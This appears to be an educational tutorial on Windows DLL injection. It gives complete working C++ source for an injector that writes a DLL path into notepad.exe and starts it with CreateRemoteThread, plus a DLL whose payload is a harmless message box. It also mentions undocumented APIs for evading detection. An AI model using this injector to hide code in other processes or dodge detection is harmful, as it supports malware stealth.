Introduction
DLL Injection is a process injection technique that allows the attacker to load a DLL file in the virtual address space of another process. By loading a DLL file in the context of another process, adversaries can mask their code under a legitimate process and possibly elevate privileges or evade detection. This is usually achieved by writing the path to a DLL file on the virtual address space of another process, and loads it by invoking a new thread.
Implementation
First of all we have to choose a target process. This can be done by searching through the running processes using Windows API functions like CreateToolhelp32Snapshot
, Process32First
and Process32Next
.
-
CreateToolhelp32Snapshot
used to get a snapshot of all the running processes. -
Process32First
used to get the first entry of the processes snapshot. -
Process32Next
used to get the next entry of the processes snapshot (useful for iterating through the processes snapshot).
Once the target process has been found, we can get a handle to it by calling OpenProcess
. After that, we have to allocate enough memory space in order to write the path to the DLL file. This can be achieved by calling the Windows API function VirtualAllocEx
. The next step will be to write the path of the DLL file in the target process by calling the WriteProcessMemory
. Finally we have to call the CreateRemoteThread
in order to create a new remote thread in the target process and make sure that it loads the DLL module by calling the LoadLibraryA
function.
Steps
- Create a DLL file to inject in the target process.
- Get a handle to the target process.
- Allocate enough memory space in the target process in order to copy the path of DLL file.
- Copy the path of the DLL file in the previously allocated space.
- Create a remote thread in the target process and ensure that it loads the DLL module.
1. Create a DLL file to inject in the target process.
The code below constructs a very simple DLL file that shows up a message box. All the logic resides in the DllMain
function. That's because this is the entry point for every DLL module. In other words this is the function always gets called once the DLL module has been loaded. Notice that our code resides under the DLL_PROCESS_ATTACH
case. This important because DLL_PROCESS_ATTACH
condition is true, when the DLL is started up as a result of a call to LoadLibrary
.
More about DllMain function here
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <WinUser.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"OK", L"Injection Successfull", MB_ICONINFORMATION);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
2. Get a handle to the target process.
Now that we have our DLL file, we can focus on the injection part. First we need to get a handle to the target process. For the purpose of this tutorial I choose notepad.exe
as target process. To achieve this, we have to call the CreateToolhelp32Snapshot
in order to get a snapshot of the all the currently running processes. Then we can iterate through the snapshot using the Process32First
and Process32Next
functions until we found the target process(notepad.exe). Finally we have to call the OpenProcess
in order to get a handle to it.
const WCHAR* processName = L"notepad.exe";
const char* dllLocation = "C:\\Users\\George\\source\\repos\\DllInjection\\x64\\Debug\\BadDll.dll";
size_t dllLocationSize = strlen(dllLocation);
HANDLE processSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (processSnap == INVALID_HANDLE_VALUE) {
std::cout << "[-] Could not retrieve process snapshot. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] Process snapshot retrieved successfully." << std::endl;
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(processSnap, &processEntry)) {
std::cout << "[-] Could not iterate through process snapshot. Error code: " << GetLastError();
return -1;
}
do {
if (!wcscmp(processEntry.szExeFile, processName)) {
std::wcout << "[+] Target process found: " << processEntry.szExeFile << " (" << processEntry.th32ProcessID << ")" << std::endl;
break;
}
} while (Process32Next(processSnap, &processEntry));
CloseHandle(processSnap);
if (wcscmp(processEntry.szExeFile, processName)) {
std::cout << "[-] Target process not found.";
return -1;
}
HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processEntry.th32ProcessID);
if (targetProcess == NULL) {
std::cout << "[-] Could not get a process handle. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] Process handle retrieved successfully." << std::endl;
3. Allocate enough memory space in the target process in order to copy the path of DLL file.
The next step would be to allocate enough memory space in the target process in order to copy the path of the DLL file. Because the target process is a remote process, in order to allocate memory space we have to call the VirtualAllocEx
function.
VirtualAllocEx
used to allocate memory in a remote process.
As you can see the first parameter is the handle to the target process, the second one is NULL
because we don't want to specify a starting address, so we just let Windows to determine where to allocate the region, the third one is the size of the string that contains the path to the DLL file and the last one is the memory allocation type.
More about
VirtualAllocEx
here
LPVOID dllPath = VirtualAllocEx(targetProcess, NULL, dllLocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (dllPath == NULL) {
std::cout << "[-] Could not allocate memory. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] Menory allocated successfully." << std::endl;
4. Copy the path of the DLL file in the previously allocated space.
Once the memory space has been allocated, all we need to do is to copy the path of the DLL file. Because we want to write in memory space of a remote process, we have to call the WriteProcessMemory
function.
WriteProcessMemory
is used to write to memory space of a remote process.
So, the first parameter would be the handle to the target process, the second one would be the pointer to the allocated space, the third one would be the string which contains the path to the DLL file and the fourth one would be the size of the string that contains the path to the DLL file. The last parameter is optional, in case that you want to receive number of bytes transferred into the specified process. In this case we don't need this, so we can set this to NULL
.
More about WriteProcessMemory here
if (!WriteProcessMemory(targetProcess, dllPath, dllLocation, dllLocationSize, NULL)) {
std::cout << "[-] Could not inject dll. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] DLL injected successfully." << std::endl;
5. Create a remote thread in the target process and ensure that it loads the DLL module.
The last step would be to execute our DLL file in the context of the target process. To achieve this, the only thing that we have to do is to create a remote thread in the target process and make sure that once the gets started it will load our DLL module. In order to load the DLL module, we need to make the target process to call the LoadLibraryA
. Since LoadLibraryA
is an exported function, we need to get the address to it. We can easily do this by calling the GetProcAddress
. GetProcAddress
takes two parameters: A handle to the DLL module that contains the exported function, and a string that contains the function name that we want to retrieve the address of. LoadLibraryA
is exported by kernel32.dll
module, so all we need is a handle to kernel32.dll
module. That's why we are calling GetModuleHandle
.
More about GetProcAddress here
More about GetModuleHandle here
Now that we have the address of the LoadLibraryA
function the last step would be to start a new thread in our target process and make sure that it calls the LoadLibraryA
function in order to load our DLL module. To achieve this, we have to call CreateRemoteThread
. This function takes seven parameters:
- A handle to the target process.
- This one would be the security attributes, but since we don't have any we can set this to
NULL
. - The initial stack size. In our case this is 0, which instructs Windows to use the default size.
- A pointer to the appilication-defined function that we want our remote process to execute once the thread is started. That will be the address of the
LoadLibraryA
function. - A pointer to the parameter that we want to pass in
LoadLibraryA
.LoadLibraryA
gets only one parameter, which is the path to the DLL module that we want to load. So we have to set this one with the path to the DLL file. - This one controls the creation of the thread. We should set this to 0 in order to instruct the thread to start immediately.
- The last one is a pointer to a variable that we want to retrieve the thread identifier. In our case we don't need this, so we can set this to
NULL
.
More about CreateRemoteThread here
LPTHREAD_START_ROUTINE loadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (!loadLibraryAddress) {
std::cout << "[-] Could not get the address of LoadLibrary function.";
}
HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, loadLibraryAddress, dllPath, 0, NULL);
if (remoteThread == NULL) {
std::cout << "[-] Could create new thread. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] New thread created successfully";
Notes
- Instead of
CreateRemoteThread
we could useNtCreateThreadEx
orRtlCreateUserThread
undocumented functions in order to avoid detection.
Source code
dllmain.cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <WinUser.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"OK", L"Injection Successfull", MB_ICONINFORMATION);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DllInjection.cpp
#include <iostream>
#include <windows.h>
#include <tlhelp32.h>
int main()
{
const WCHAR* processName = L"notepad.exe";
const char* dllLocation = "C:\\Users\\George\\source\\repos\\DllInjection\\x64\\Debug\\BadDll.dll";
size_t dllLocationSize = strlen(dllLocation);
HANDLE processSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (processSnap == INVALID_HANDLE_VALUE) {
std::cout << "[-] Could not retrieve process snapshot. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] Process snapshot retrieved successfully." << std::endl;
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(processSnap, &processEntry)) {
std::cout << "[-] Could not iterate through process snapshot. Error code: " << GetLastError();
return -1;
}
do {
if (!wcscmp(processEntry.szExeFile, processName)) {
std::wcout << "[+] Target process found: " << processEntry.szExeFile << " (" << processEntry.th32ProcessID << ")" << std::endl;
break;
}
} while (Process32Next(processSnap, &processEntry));
CloseHandle(processSnap);
if (wcscmp(processEntry.szExeFile, processName)) {
std::cout << "[-] Target process not found.";
return -1;
}
HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, processEntry.th32ProcessID);
if (targetProcess == NULL) {
std::cout << "[-] Could not get a process handle. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] Process handle retrieved successfully." << std::endl;
LPVOID dllPath = VirtualAllocEx(targetProcess, NULL, dllLocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (dllPath == NULL) {
std::cout << "[-] Could not allocate memory. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] Menory allocated successfully." << std::endl;
if (!WriteProcessMemory(targetProcess, dllPath, dllLocation, dllLocationSize, NULL)) {
std::cout << "[-] Could not inject dll. Error code: " << GetLastError();
return -1;
}
std::cout << "[+] DLL injected successfully." << std::endl;
LPTHREAD_START_ROUTINE loadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (!loadLibraryAddress) {
std::cout << "[-] Could not get the address of LoadLibrary function.";
}
HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, loadLibraryAddress, dllPath, 0, NULL);
if (remoteThread == NULL) {
std::cout << "[-] Could create new thread. Error code: " << GetLastError();
return -1;
}
/*
* We could implement DLL injection through NtCreateThreadEx or RtlCreateUserThread.
*/
std::cout << "[+] New thread created successfully";
}